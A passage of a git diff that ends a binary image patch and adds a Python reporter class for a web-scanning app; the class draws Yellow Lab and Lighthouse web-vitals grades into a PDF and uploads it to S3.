zxT4t&Kk&8R#mi@JlpXGrv_O!3kmG3hSHMdH^7gz<6iroo(`U~2*YwfR6-v(wJ<038 zF3fqsV6Hl^yPNM6JT)7Wun3gcjrA>j*Nh`;_OJBupYe&^0gjBEu_quq1eecNVBz|} z&gGMjiMq}MGzJ~5wDw`+C~X=NOnX!7!a;yLu&)ha7;>n)d?oY%PwXhAhzIdnAHGl1 zfBw2Q^{=0P{lrQQNS=IFr2QcTq9Tk&Dgo=8XNk-uTvv z;vTr7=?x}YdnV~h*^16}Zdo)yOX}r2LdnS#Y5@vB;IeG8Uxn5zX1FYHY=@zkpBX4i zf^;+&10_xEaAjy1Gm)!fC4MowtIIx*ip}CP*4&SnORaFX2&e{BICN9 zBL!v#k|u(@uPRg+-QI=X70CIpw}b`YBxeGkBy9Ck+|CF#J8EAu=U<*qS^bZa>mRKB z&y=-#U;n_X&U<(s^B9bbKd(xV$E4g|s?Qg=$<$vi;ky_v4Wu;Vd^r#F_1&2^dFN1Y zGFSG-1I~zqm?P<=hl_|#4EZ-j@4uTi2&f_kqh(-kCysFi#MgSB2`bltAGI_fR zNl2`iYqrnFyz#ZR#W{8(xw7Rq>Q!gqF&K5txIM9{Z3ix7_+hE&sf>Tm!0#8M0WXfq zc!}--tGYgK$3Mc2ZJ+)ig^&ze#|iNt8aljfB_t+y9Vax5Jv`wwStwRre>hX!g)`15 z=ySu{1+LuZlt9?=(c5czlU$^BzmCZAsh9wMK!DwGAen5D@37F2ymtCR`oiDNdZT(1 zpVWCO$bkQ8#$-R9yGCQW59}9%FXoN=0JaGr*nD0)-D7au-3%rAOdQm=xSBw}0H0!A zt6h7b17=`J?mG9dIy8|CvsIc8=0)cK2(+F_HF(?@F&xGYn8g1m(e^x>$-=Ka?OjOS zU173IH`tq*N!&}Jxw<;sgh+o{)!IMK%+fM+dSDR5!OTL$LGOn_ciI@5{AX)}02QRr4HuKl^G$;$osQzY|d!#e!x)n;uKZY)#r; zrN74YZP=GowpTpL7vLP!)U=JTunkP;J~`sP3d}j{i_AL_d+48+nW?(6r%o65xgvzK zN#_HMYEtI(53TUei4OL(?;?6UF-JEoGrL@}7~AV~#eI zAi5N`Gd!Gp=6Rx{1e0}*ih|Pqi;WcTTc*Yq4Hq{f?@Y?#j%8d!8P{}teA_+t51Uy6 z$1Vc4`%fqacW6kCe!fRD6dX%vj!Lue)>rJp1o;LRXvn$?plbY4O8@hTs81PTu!h$< zpMVN+VGPL_PJ0#laGnleenF|$DD3P5VwdpKeDbPvA9oQ0!kiw%R#T6rgk=x=J-BvAswB-rVU22#4!fw~i{_dmU zLH1ll10)Ed&6TYz1uiBY?(&w8$J+m3+x1^j0Q>goM~PlksHKC4DJQRH!t4(nI9WXx zru;6-@%lsIXbWx^8Jw#;eI%{y_oJZNTFf(7pbY%U$Ss*XW;~rXDE=g7v?q)Mt)%3f zHB35<#<{dR%_!^i)X8>WrqMlC;3DKaMDSvx<7ZT;{pp30vwOaMzby~`v%MYzFxb3` zuH-M{`S+-CM*tBscpw;z8umhGH~=fu+O8~(F&sZhuJ*f3O5RYO34x8toll`F$csE% zhPbUPgkfYHs}-Fuo+JV4w*MEqEai$@KoxAs z7k^%{er8!#E!`G4+94RxEhij};#%&I%f{KdwdSX+5hWf{gTB_Tz%h8^!~;k|A_PzQ zCW7z_;Jwn;HKfYt@v%MFAbainB(C7|=$R`>QCXeqYL!Lfz_`%n-0iCQO}Jv06=VM+ zcNn(?g6%B}<8ucJwIm>!0?0ImkiN=+&#@?mC~vXic%d41dtD<6I9%mX+UPDhXvUq3lUX(9oOr|!E(f$^V4GE)EE1Ey`)Vv46%$8W{$77m1ptEL_Xn^3+u-g0zyS;dfFydu zF9irLK?RJFDCQv>1X)YgS0ZQtL{EU36>YgJ-SpTBTd{sH$x1>lhai_p?1jQjhywf$ z7T|`tcr*71ph*Qbqzk$VUl5N^*Fi(u_Lp{xwC-9&eA-KA!;BJjbmS+JRzS!An~5NM$m4cuNNImn(dyP5B@z_9bp zd8(X2Z_&dL5zO{>k->-{H^^T)XkdjTf|>%UHygJj7=<34pOlrdFW*OrTI z!beW-veb;XMG&{U^|$SkGO3$q>7RUgI77?oearqrybFasek_;=u%-mi8MSIgXetrY zR{Cq%g6JN`!96< z^JGa2iooOv!)yVzTLyS~I^xA|+QEDe|*m*ejMKj|K{r+<`#&2S05;u~ptbXw->+8SBS(G)Ky@8s7- zgEh0vCW*VWQ&dkR4Nz*b8`*BIL_;{ROEetS-`)d<(-d4D3>&7%8FkxATA_^GrI9+; zq9d9b8;cI1`b44`(VFRYEQyECt1nS`V~l{%G;qP+lL)cGh0O$ktrs=eILTzlOeCJY z&Nt<;hd;a$y@ZS8S8rzBr!pxwjKpFc3j6u-(`_hpN(G>hwy6f-{(Ga^*xPk|dXe0& z4gv`e4!s;mOcR=BPRU2)ALcZbp?+|Pbk0b~-V@V(aPy1cO<>CVb_8F3-GRX}B{>;R z5Np_YVbg2?THs|muH(2@Y=!qt3CF37s4I=p1noT$PAnn6XM78h0{sDSfj8=D0Q=1w zb;9+iwuL&htVjz%!-QS&d=#|xtz0l*>7f)aWkF) zhe^?)e}xsCdT)7sJ$fNC)ssD79%uU`*XL>_!CXyEJljRnpvxKris~-NOHHLxwql^a zC3%iZD++{%g*0LT%?WSx9L=-S90hvCW&H(SZBJ0dO81LL{?qg#6sF_*8rUG=VA%?i zg!`+vyaydgkihg4E zh~nWo^s}j)5gDsMAT@T~Z&_{}8-;WLSXXPd_K7?~P*eKbI{H>hifY+}U=bLs?)w&3 zLq(~Sur2wvcP$(>RK@p-w)P?zaN5u%+LwS>U(B~~DElobOUpu_Sup-IN%RMJB+>&$ z71j|3#P(Cw!|;j`y{%@<$5@-r}@SvlYIcJ z=6`^PUVCPvoR_(6q3GeHJc}gmHOk`dPgm&(nK+Mb1(?;pI^^6h1buj&Zv@=H2Rk+Z z#NY7JaA}i)L9_mn=KzN@795shMXoJ)))XO~UzSE{@m#i;zs)xzh(|;HLfwH>Im;&e zyQ1q~Z}O-EXh_R`cuN4Z3W4_)J27lTk|P(brcP!n7Rt?ow5zHgofS$dji})|aLaH? z?xKYCCsf_U84obT1u3>86Bshkd5g?>eZ_Ce$wWk$XThHk9P-_MYOnjs@l^tkvS%pf z_{baQH%U}+vMRasAT-7Q#lLHqzIUCQl9{T>9`LtyJGJ9@= zzqxUG(&tWdKZpuz>kBTgG^i{ZxXesFPBV_p*~ux4&)zkX zvH$$EFBN0TPF}bZ)^!&ILep4xTO_m}ty~f41LXbx*MMp;1F&zxPUI~Pm<-?Hmv1_Y zXgZsh?Iprd3*zS&EG(K1f#aM%!u?OG{Nr3T5GWNk9&?6xS zuMJyNJPH>-m}~FTdP9)av{arKaSqBOcF-=GS4Qh~C@y()k zjCo5Xi{17%AApKriAsPCz|3oKkz`Qmg8xSG^vGdEyB@2zrbbpV*1_2<#kT}wGqcW! ztai}A+$tPSsinf@etABRaN3f3+e@h)Y=>6}WC7L^`hAs3tIqFwtQ_od5euFgVQI=C z$n|s^C#9^p^^DqemTl;Pj8?j;mj_X?&Y^6?;!OEHfvl7NDsKCIi0GAot@>k1jpqZ* z2#GV#{i0n#4!OWgy-nwxsxBB0GD2^5?EN}Zu=C5i#-fOb2S<6YZ9a}GD08{Vx5QH! z&F+)`3M(Rus6IDVC5A2B_SHxL*^&0kXAIz~)ba2q=0aA^)8MTxEPP0gE80BQKI90| zV;}F8dQikADUT$abgp$NMx3@2Hy3DeIR#ksq1~qEtJ!{}W}foiEUJAWguG6_sOhen zqz9h_SzUZ6HH8jaGu^UJVJpBs4V#K3x|8t~R4>TB(L|Fl;IP4=oVm##XT0$31^u0k zSEHXVU)Na+f#gvTjZFqK{Fr5DMfI#{@#=nsNH9Cu_I^cw$oY8?PvM;|495DB77V_> z`y`q8#wca^fwPshq}4AEA-RisjF_PKTAh@m;*~d3>godiS)GE~Xx(SsP>3Eid>6$t zE3Hl%i(Fv7GI{lbw4m*I=0<>R5hhYckw`XGENeQZB6*p3)R#h|l|Jt{AAVo1n{Wk! zXaK%dgKhbHhu3M%iS}V|{d#*lf)$#R9n3#UcWQ1BN5b45@h`r#H_h2!hN!Gx2t^Vf-Z;;JpIE zCoyH3CPbiw?jnVnWZ@sx)rxAKVAZyVGoe(j`v&bY?S8c<7XtT<-l}jHt$c|JC%_z8 zThPu6!$1V5?Z_2w(Jb70i?Ya`zv5XMm&5{o1kWQ=-U5~S?s)kzqQ`524h65ZNA2mD z_r;&<=MN-Wik>VuxY7pUpx@iWk(SaG-mGB&dP;wbGGw+z^P%V@U~}p-k23C^7oELe zRKVkQw>jCRNmyH2(D+k@^e@Dgr3M+GhN0C(XG>Ay(Y$|_BsFL%OXoUWYI2d@pE>ZD ziVeXA2E8kj3126cQa{o6cTX@{(2m)i2pI(zeGG~6 zG0wnGkf@2-q-8w5`s>-}SpH#AEOIi9Dvd?vg4;&#AOVNN%Qqv_)rtLnyj--ZJY$WL z^s$)_jo-xd@5a#U%Vb&ea8-YqQ#_hu97^T2FM1`dzl3rwg$7<;@HBR*b7@Gdq|Wff zdrY7pPvI=VF$_6GMn7a?8o*bQ_XPP+yJZjnF{!t$}e84UiQ#tDE; zO1YvD|IOng8+W~<_v#{Rh9@T{@x`GtM-loj=ATr}VzE zLNxScrhaGH1xjdQAcHDTYisudQE_O4MXG}Mp-=){F=YRp$#lpw*7ICLViM{jc)TWV zo_|g>rG;o~~65?O;%{}J`yGe)v zwn`0v`%C`WbszHb@=Wv)_FBNRp{btcL2!f)B*ky(k0PrJStfgQhucimQuWq(Mx%m- z^i!vn*Sor*JsyBpe7q*y=pw6Q`7|hj`*B4Xb%HY#FX%Jm)Dw|Y8=4qEXe+)4@}WOn z0jw_m@zLPG!u1PhrbIjq`7%l~>6W`EqlD66(K>{M$g|`lfqHG#4?88H2e1B9{rNxU z6Wkh@&)DKry*q#vd|n1YG;hl%wjjU}e>`KZQ^R6;c~UGmFk0wrtnKt@2VPrm5J^LK z;b&Ld#xiyA*!@vx2MR<|7&$IC2faPfy1ht$v0+LBa;gyL4!cU~OL*9CNT=R~HZ=6v zT)p0HekN4fNj^coP2I%A#Aeele;CcBd-!6Y7*US@NqBf7OriVE2p2;W9iqG^=YeoE zm7y2o**#RfHR7M?19zndU*6*IAb_O-H{MdN{8LASkc4~$+G*x`elKDrE87f5{j|I7 z{ZIvkVYZbK{8ZtsixoFPr?(w&J0;`_-Z#E3MjM3=b+U2JFgM>kZ!iW%3OJKaaPkg7s zYWgRf6Af81a%plfTaKH*ekCo&IKk0raKhtoxgiR%2tnHIfe>}1ApMK2PX3^9G$fuQ zxOO*s(9xr|lHC^hEHfD&apLA3j<$VkQc_ZDVq)T}$32G?C#T5)##P#5M`n%#`ar_q zt+U99z5z`0aiYsgSh7?;7Sg~guNXy5>ri77)?-1^+|S=`Lv|9tL7AboIJnQ;h*19% z(?MsNrCjkbfn;lbt)bXs9qR)l1%p6sNBz0*6`QKYm8q2p#2raBDm}*}hb*omn1ZTB zO{!Ma0_S~npMk;_Qc~aN#^f$D9)bcY%ER0KM*YlAlPh-N$u1|C>k(T638|ahsd?H< z*r;U3DG>c=3sRtidBdN%oCD1Nsqgo4L^UT1qNp&C0%|xJw49B z*HQtvGE(zpy~#3aOAd$<+Kqd1`eKOSldVFRNUSyro#ULX_O)_}X*1(nJULw2hz9sD z0*jI`ZOb^A6}H~bhGAfM*4TViilM`3c>M>49%%@t9N@xNMkQ9YvjvkXqux_o__LyU%eZ@FdV=9b7C{m1b1x*F(|1*)D0}4RezOXk#Xt46~Ed#e7@wm3~j+ zt9o-Yvv-^r`Nfd6)Z?8lrNVNXrXWK6(mVG*KiA4Id+Shn&sOf=%`1O@5xf|jR{TTW zDHWsjCw!|7VV&d50I8Lgxw-qo?aDuVYRhtPp+b{|BdcX zM~{E`NQsO9K(~L>A`G{)vzwwt{65_y(YhQ3YSh^t-mQ>E#^bMLm(ZVx`*rl@U=^#l z&uHtiLaT@@LxI)NM%i$;iig#Jl51Sv0Km^+d^*x;Tj^nt%j*Fp{P zS}z-l%{F~ZXQm3{lOh_T`lTeFcqg-o3c7wj$pyW4q|y&Ar;4!j+b}_G6qdi71NUwT z48R()fzj4DEwzuBM-f^E{KTx#Mpl;MXM>RmMz$=WB8TmyJ=HkKQMD$vuj}U&XZa!j zD#k3~i*za(q5a|ycY&+eK=)QeSHH+Cf4uqr6GX~D*d)nG9#>eF*6KfUhQIxbf6jrW zG+^Rbm)%#jVtl}>hI~mL(dE6rj&O3Y9hW4#tmX;2?^u0gPv3i&IH4^?>Vn}+eB35M zZe_ov3Xi`-TF~`Vb||$3lsTf!AZ-0eU|qv)$SeM2=6h36BAk(Q;NDiiKahA0-&i z>s*kl=bihE(am>xyl7EUR#s)s^Bqtnxtsa?S!ua_c6>m_sX`m8Fq}CNj470W8^C%}YF>RA2?=JG>X{2MFPeQ2b#Vax`#>?x?4El@?q}8iG z+1h31J(t6yN+&gX(@-+7*_H80LKa%08@Y=Fj%3h}Jy^|VsC#$1lI+gnjzMo(_mLv( z-k(Mpe=)w|WrL-Z#M_VANO}ehl14L4MSQZ=n2@euorcgn^T+-SSq+s-k{7m&WLJ`} zFl-%Pr@dx;OJK9k$c2Q&TzUM7W#05GJxcQBXpyNbPkbxO{dq{LOLw@80eD5<>l_61 zrNBO)_AXR%aWf`9yuf%+QpWpAQ2(|(%02CwhCA`UBBg!rKLqB&JGplmnGoudT~>A& zS~M+phcx-F>w~9;6JZHdA(yXmCwm@D zBKzLaGaYwmf4m{`!?^8d6n>7CU%2|`x3{3s3^fqCw(6g>6jIkyO_ZkyZZ#mB@H^n7 ziIOB^;zqno_=#R25>Rcfc`#*HWG@Yk>oT{^vpI@jY%Gwt+DoG1k!kKUf18R~hZ1Jh zEzTd(p>j$7Mw?RTlOJVnq0?~^6{+q^88v#4r~U`CyfDTA;%^5W#PP0&JN)L`$$;zg z&o%qka)gy)JQhwI69k=|vLGfXJqkXKV0^(^mzQUb&WK7vYq=N|+TD@D)=lD&6CEED z!C^RB^a3ZMx?5L7=G+hsr6jDH)O(194ULD=p+M@=r&x3GzG>v}xLK2fF!=MDSv622 zzJOzYPmLOghW`E4-%t0LfylIF@u%u%o*)W6vBc>Px00V=0%B~Ras>^Vl^!@`zW6oZ z2+Z=R7F>P@-Jc)z^FNdw;am8DkH5iah))T%Oou?s84ZbJGsb0`*FI!k(wpEiVS1kf zl!5w{8s?toYDaqz#H@3~cON%944Wb*inRH^ zk1JY^n2S?d3DP@@U=6Aqaz5=rP&HpZ*66yFWR5wL;)|HzHu(8nq&e55c@+jkX zULO%-i=(fTSr~gMpU}0pEp}1^DT|KpGFVD@clv_GeLhEm+Npw<{jZMq9~`s{2b>k< z$$&ogml5u0fZgvlI?aqD;dXH`e0q9He|cbUG{KM*vCt9eqA0*3nDM@DKO3jawI!C@ znzGQMlGFKlr7^Q@EgpgFsOe#j1AU>x&o5&2UsxBi#^lO9Zt>kc#DV;dtdadb>P4@H zqcZ{mR?D>(KrjN#+TQ*sl(py3NR?VND(xhKFE2=FYX1)Nf*E8N+@Z{PS(S--@-w5% zm?Btc^{&=*#agu0!MIX$??P5}&H+#sZdP4Z&+2xbGuJVOO@D(F1A_1YTc=@;s~~7m z;_=KEz&WcIhw9YSNqZuobrdoCJ%7ZDPUmBNN2Sbahy0OkDNXc;9pMwo)GRSd!)y!b zI35m_Re`PC{-F+M#f6B@F`5=99<8TG6PfACR0wgma1lR2fvt-AQH%CbuqX*j2ZWzO z$RpIo8PNkyiis=;pz&S^{+JB$B+d4Eap0C}*_)j!bjSq_L3@pa8iB1ggWvR{D5}RU zEirA`e%iaU5~d~+fnjW)n-Ua9w?19WJm;(2p0G~$&svY~dB zY*?dQJy?qpC-}>LSLAdoRgY-YWcOtQnNkB1N(Ms`~nb|4H&);lO0WO z{|pbB$8->K;(mz&K6k4R(f2fuxHw{{UfR!#1sf(@6h6sR*mWP_J`gh!d6DP5#g^L< z!K}S+nHeiX?m8{j?_{scyqE#r5z6W-onYj6^EahU0GblSu?m) zZ1cz@D(P3+&|yAPl*Z=irRHdTwrT2ahwH)CYI`+(OmX*ULDEJ*`x+ttEiud3yBYA; z+)I}9NqTLhmW7OkJMZT)M=044^MX~u67)&h`;9SR`E<9{{kQA_3`868Q5}oT4#oIq z>SicdYx9vxjAI2?AH8In1ENY`p3d?lIp5@8tX(;Z1wBXdY|Lb-ubJtNH|F!drAnb4 z$oC{lZl~rbA>TO&VX_c^3{`G-%Ea(!LX(W=Tl!+d!@&^Q_ES2IbxCZd{ij}^I9`jB zL8vK7Ig57Xu}SLN0-y(ahkcao9?rKz)y2byO&=0?+%GMvv7P*YmUK5^7zJ=(pQ648 z{!P}&V=b@RNK}11zN5_CQP++qu2L4cF1N4zs~`svFA9g|wg;7j8tX-6RsOKcx~_G! zT}`cty>@qg+TQ-Ie8kFGTc1A0Rblk0l=e->)8q0wlM+ZY428pW!To8Sgb%jbG@^=& zuh^o*{X=Hp;xzK~kqO*7)#k`Tnr5B*h6z{wx&a=djd#0axE*Dbm$YMZn#T2sD}|(N zml#!dTN$P{QF3nqhuHhj%!1;&FrY{c3H^LUCYSet;6YEE4F5&zvUT@GYel~__ra8? zCMC7w;}puHACK8a*A z36;y28-IJh5@=^@=RT3S%aEke!Kx^%*<^?>c+q1)pCq_{3vb!-Sp&tI4R5b)JK(71 zqcUn%u~(W;ep+(h@#C;haC7Sakd`JygGK(tRFpbS(al}<$J~yKP9n+06RCb}V)Q&m zvyE(qxD5BH8pk0Cmb~L5J=XhnU(eg=`js+mPGj4WyU#}3hn3S9(zW*?wr^JxioY z>iqokfoOYEL=@r)A%v=fAIf$wtgn8mej2UYY<#R)tkNr%wmPIeY&_TS(`N@>{94sh zTM4QI|GHbY>JOl%NtUtgQRH3!mnsu` zShr!qDy;G35!QJ8io$5PiaCAM<+T0ONvL!E`GWh1obN@l%*`VNWOGF6`EdDB^1?w~ zM1<#8ndg1BN!ZBC^z&c34jvDBtkU9vWH3Z^pd2p8J>;0=Zu>?QFEQN>zJGjZ41|_W zT0|WMOphNsVk&yYpk$_{y;M|I&Nen_D*72Dqsp4wKr8p)e$!(aK=U2#KC!&}k(s{B z*O3J!E5}h&=7HWRTW6}H;JRDlz8Cj_JiGe>NrklAs7n^#VjFaZuJ#8C7(`gYu7}Vs zSad|-48e8CZ%7oHW!kNcVt*?;sfj0f_RDc8E>wnx#Q%_1)mi&u!$Mtu5f-RcZ=Spg zEThS=gVJm9&1RD12o2nh@K=1YhEr1BPA9Ik#23qgxq0f)-P3?obUK)J`Pjj zU8(vy$F=*~SEu$}^&4gC@dEo%HMcP16cPXfCURmAxXvqCgH9+2&+~hw`h*ZJmM1CS z85JCH17CaW3_7V>4!&5^N2o1Jd)YZ?I50FczlTPNhlYmwoQj|)w`#3QF@4<@2A$zj zk6A^v3(>#KeZ*Gpnijbf5 zr+7rjn+=Q!Q_zn#cJJj2|16QyW z-!etue>-}1o=DB-)MKLc2;OjpQA6QVy-=+%d{%~uy_A6LS;$G+O~*@Q8`iFfw@v-V*HH$9{S*j-O*8s zC(C+%N`g$vMu56S+vwbR-#CQsW1b8W8h(xdxvRU*$Fl7rUhO=m7xdC;35cVA zDCDs*ZaYa|JH(%sJ zlK_3=w-)`yXOBs+0b=7vq9<0*>n@+QXD(VFe9vlbb~599&R9?NKs(m}=k#U)HR?VP z|6UHK?X9b=t$j!qI2|fUEtr%&(1>u+;}z=UzD?cofP)K2-_Fd{0E8-GjOUMn@9%C> z;SmtfpCB?vEX^&v`@kn1yft3J>ck0q=?TtsL4eievsRFV zh_GL&p=|H>u{-rUqJNtW()wyJ&9Rt2HZ~>zogU|%Kda{Y7Ad&5eI;5u3+R<=KWc1n zUT~Bh&L2-Tr9bA&ZwroA)3SF zL&v(u6}1EcDZ_Mb@&YfHMi&Wn;KN-4#{3xlY05Lpmw4D~Tk}&?UU~_^DNVa--PFrc z%!!d1Xx^UfML8GTuz9Hq{wZj+^TJN+a&IzM+nW6_VINH^wf@Qc);EGtZ91IVDOcS~ ztP>HIS1Hz{%c=f0uxG;^L-rt7ZGZu`d-NjD$p+9BVLNr>FuWz85Kae}Z10Z_!j-iM znZ2A6Lg-~e8yj(2wQ%@`+J#vx^W4pA)Tgv55d9?PcUqq4Ht)AS;RHCGUJWMswGV={ zSGd}fwdx`dSQ|8Gy!P*$Y`#q4=Gd)K3h-X2EvOkf3#!2nag{w3s*RijIg$k}ot|Bk z#ZJ==|5*4EpKAG;L{K$;ElN$m(Y(!?Ur|VKpH<|fmV|4eBJ;>fGJY`~Z)Ny&%YMtm zG3&Ey%f5A4J^mL~fHzcse(^fsmP>Y!Vp}^6nRoGmxAq(X_)qMG^z*!DI-dUz&PNp; literal 0 HcmV?d00001 diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py new file mode 100644 index 00000000..057e53cd --- /dev/null +++ b/app/api/utils/reporter.py @@ -0,0 +1,459 @@ +from ..models import * +import time, os, sys, json, boto3 +import PIL.Image as Img +from scanerr import settings +from datetime import datetime, timedelta +from reportlab.lib.pagesizes import letter +from reportlab.lib.units import inch +from reportlab.lib.colors import HexColor +from reportlab.pdfgen import canvas + + + +class Reporter(): + + ''' + Used for generating web vitals reports for the passed `Site` obj + + Expects -> { + "report": , + } + + returns --> + + ''' + + def __init__(self, report, scan=None): + self.report = report + self.site = self.report.site + if scan is None: + self.scan = Scan.objects.get(id=self.site.info['latest_scan']['id']) + else: + self.scan = scan + + #building paths & canvas template + if os.path.exists(os.path.join(settings.BASE_DIR, f'temp/')): + self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') + else: + os.makedirs(f'{settings.BASE_DIR}temp/') + self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') + + self.page_index = 0 + self.text_color = self.report.info['text_color'] + self.highlight_color = self.report.info['highlight_color'] + self.background_color = self.report.info['background_color'] + self.c = canvas.Canvas(self.local_path, letter) + self.y = 9 + + + def setup_page(self): + # sets the defaults for a new page + self.c.setFillColor(HexColor(self.background_color)) + self.c.rect(0, 0, 8.5*inch, 11*inch, stroke=0, fill=1) + + + def end_page(self): + # adds page number and ends page + self.c.setFont('Helvetica-Bold', 15) + self.c.setFillColor(HexColor(self.text_color)) + self.page_index += 1 + self.c.drawString(7.7*inch, .3*inch, str(self.page_index)) + self.c.showPage() + + + def draw_page_title(self, title): + # adds a title to the given page + self.c.setFont('Helvetica-Bold', 32) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawCentredString(4.25*inch, 10*inch, title) + + + def publish_report(self): + self.c.save() + remote_path = f'static/sites/{self.report.site.id}/{self.report.id}.pdf' + s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # uploading package to remote s3 + with open(self.local_path, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={ + 'ACL': 'public-read', 'ContentType': 'application/pdf'} + ) + + report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}#toolbar=0' + + self.report.path = report_url + self.report.save() + os.remove(self.local_path) + + + + def cover_page(self): + # background and title + self.setup_page() + + # creating dark triangle + p = self.c.beginPath() + p.moveTo(0*inch, 11*inch) + p.lineTo(7*inch, 11*inch) + p.lineTo(2.5*inch, 4.5*inch) + p.lineTo(0*inch, 7*inch) + self.c.setFillColor(HexColor('#00000026', hasAlpha=True)) + self.c.setStrokeColor(HexColor('#00000026', hasAlpha=True)) + self.c.drawPath(p, fill=1) + + # crating light triangle + p = self.c.beginPath() + p.moveTo(0*inch, 0*inch) + p.lineTo(0*inch, 7*inch) + p.lineTo(7*inch, 0*inch) + self.c.setFillColor(HexColor('#0000000D', hasAlpha=True)) + self.c.setStrokeColor(HexColor('#0000000D', hasAlpha=True)) + self.c.drawPath(p, fill=1) + + # date + date = f'{self.scan.time_created.month}/{self.scan.time_created.day}/{self.scan.time_created.year}' + self.c.setFont('Helvetica-Bold', 24) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawString(.5*inch, 7.5*inch, date) + + # title + self.c.setFont('Helvetica-Bold', 45) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawString(.5*inch, 10*inch, 'Web Vitals for') + if len(self.site.site_url) <= 15: + self.c.drawString(.5*inch, 9*inch, self.site.site_url) + elif 15 < len(self.site.site_url): + extra_chars = len(self.site.site_url) - 15 + m = (2/5) + self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m))) + self.c.setFillColor(HexColor(self.text_color)) + self.c.drawString(.5*inch, 9*inch, self.site.site_url) + # cover img + cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png") + self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto') + + self.end_page() + + + + + def get_score_data(self, score, is_binary=False): + score = float(score) + if is_binary: + score = score*100 + + score_types = { + "a": { + "grade": "A", + "color": "#38B43F", + }, + "b": { + "grade": "B", + "color": "#82B436", + }, + "c": { + "grade": "C", + "color": "#ACB43C", + }, + "d": { + "grade": "D", + "color": "#B49836", + }, + "e": { + "grade": "E", + "color": "#B46B34", + }, + "f": { + "grade": "F", + "color": "#B43A29", + }, + + } + + if score > 80: + grade = score_types['a'] + elif 80 > score > 70: + grade = score_types['b'] + elif 70 > score > 50: + grade = score_types['c'] + elif 50 > score > 30: + grade = score_types['d'] + elif 30 > score > 0: + grade = score_types['e'] + else: + grade = score_types['f'] + + return grade + + + def get_cat_string(self, cat): + + if cat == 'fonts': + string = 'Fonts' + elif cat == 'badCSS': + string = 'Bad CSS' + elif cat == 'jQuery': + string = 'jQuery' + elif cat == 'requests': + string = 'Requests' + elif cat == 'pageWeight': + string = 'Page Weight' + elif cat == 'serverConfig': + string = 'Server Config' + elif cat == 'badJavascript': + string = 'Bad JS' + elif cat == 'cssComplexity': + string = 'CSS Complexity' + elif cat == 'domComplexity': + string = 'DOM Complexity' + elif cat == 'javascriptComplexity': + string = 'JS Complexity' + elif cat == 'seo': + string = 'SEO' + elif cat == 'best_practices' or cat == 'best-practices': + string = 'Best Practices' + elif cat == 'performance': + string = 'Performance' + elif cat == 'accessibility': + string = 'Accessibility' + + return string + + + + def create_data(self, data_type=str): + self.setup_page() + + if data_type == 'yellowlab': + data = self.scan.yellowlab + page_title = 'Yellow Lab' + avg_score = 'globalScore' + + if data_type == 'lighthouse': + data = self.scan.lighthouse + page_title = 'Lighthouse' + avg_score = 'average' + + self.draw_page_title(page_title) + if data['scores'][avg_score] is None: + return False + + # measurements + space = .25 + text_space = .05 + begin_y = 8 + log_margin = 3.7 + text_margin = .3 + value_margin = 3 + log_height = .2 + log_width = 4 + grade_tab_width = .07 + + c_count = 0 + logs_count = 0 + for cat in data['audits']: + + # creating global score + if c_count == 0: + grade_obj = self.get_score_data(data['scores'][avg_score]) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.roundRect( + 2*inch, + 8.7*inch, + 1*inch, + 1*inch, + .17*inch, + stroke=0, + fill=1 + ) + self.c.setFillColor(HexColor(self.text_color)) + self.c.setFont('Helvetica', 30) + self.c.drawCentredString( + 2.5*inch, + 9.05*inch, + grade_obj['grade'] + ) + self.c.setFont('Helvetica', 20) + self.c.drawCentredString( + 5.5*inch, + 8.9*inch, + 'Global Score' + ) + self.c.setFont('Helvetica-Bold', 20) + self.c.drawCentredString( + 5.5*inch, + 9.25*inch, + f'{data["scores"][avg_score]}/100' + ) + + + # creating new page at limit --> 20 items + if logs_count >= 20: + self.end_page() + logs_count = 0 + begin_y = 9 + self.setup_page() + self.draw_page_title(f'{page_title} (continued)') + + # creating space btw sections + if c_count > 0 and logs_count != 0: + begin_y = (self.y - .2) + + + + # creating individual grade cards + grade_obj = self.get_score_data(data['scores'][cat]) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.roundRect( + .5*inch, + (begin_y - .25)*inch, + .5*inch, + .5*inch, + .12*inch, + stroke=0, + fill=1 + ) + self.c.setFillColor(HexColor(self.text_color)) + self.c.setFont('Helvetica', 16) + self.c.drawCentredString( + .75*inch, + (begin_y - .07)*inch, + grade_obj['grade'] + ) + + self.c.setFont('Helvetica', 16) + cat_string = self.get_cat_string(cat) + self.c.drawCentredString( + 2.3*inch, + (begin_y - .07)*inch, + cat_string + ) + + + p_count = 0 + for policy in data['audits'][cat]: + + if (begin_y - (space * p_count)) < 1: + break + + # setting up keys for dict(s) + if data_type == 'yellowlab': + policy_text = policy["policy"]["label"] + policy_value = policy["value"] + binary = False + if data_type == 'lighthouse': + policy_text = policy["title"] + policy_value = '' + if "displayValue" in policy: + if len(policy["displayValue"]) < 9: + policy_value = policy["displayValue"] + binary = True + + + if len(policy_text) < 53: + # creating log box + self.c.setFont('Helvetica', 9) + self.c.setFillColor(HexColor(f'{self.highlight_color}95', hasAlpha=True)) + self.c.rect( + log_margin*inch, + (begin_y - (space * p_count))*inch, + log_width*inch, log_height*inch, + stroke=0, + fill=1 + ) + + # get grade tab + grade_obj = self.get_score_data(policy['score'], is_binary=binary) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.rect( + log_margin*inch, + (begin_y - (space * p_count))*inch, + grade_tab_width*inch, + log_height*inch, + stroke=0, + fill=1 + ) + + # inserting data + self.c.setFillColor(HexColor(self.text_color)) + + # text + self.c.drawString( + (log_margin + text_margin)*inch, + ((begin_y - (space * p_count)) + text_space)*inch, + (f'{policy_text}') + ) + + # value + self.c.drawString( + (value_margin + text_margin + 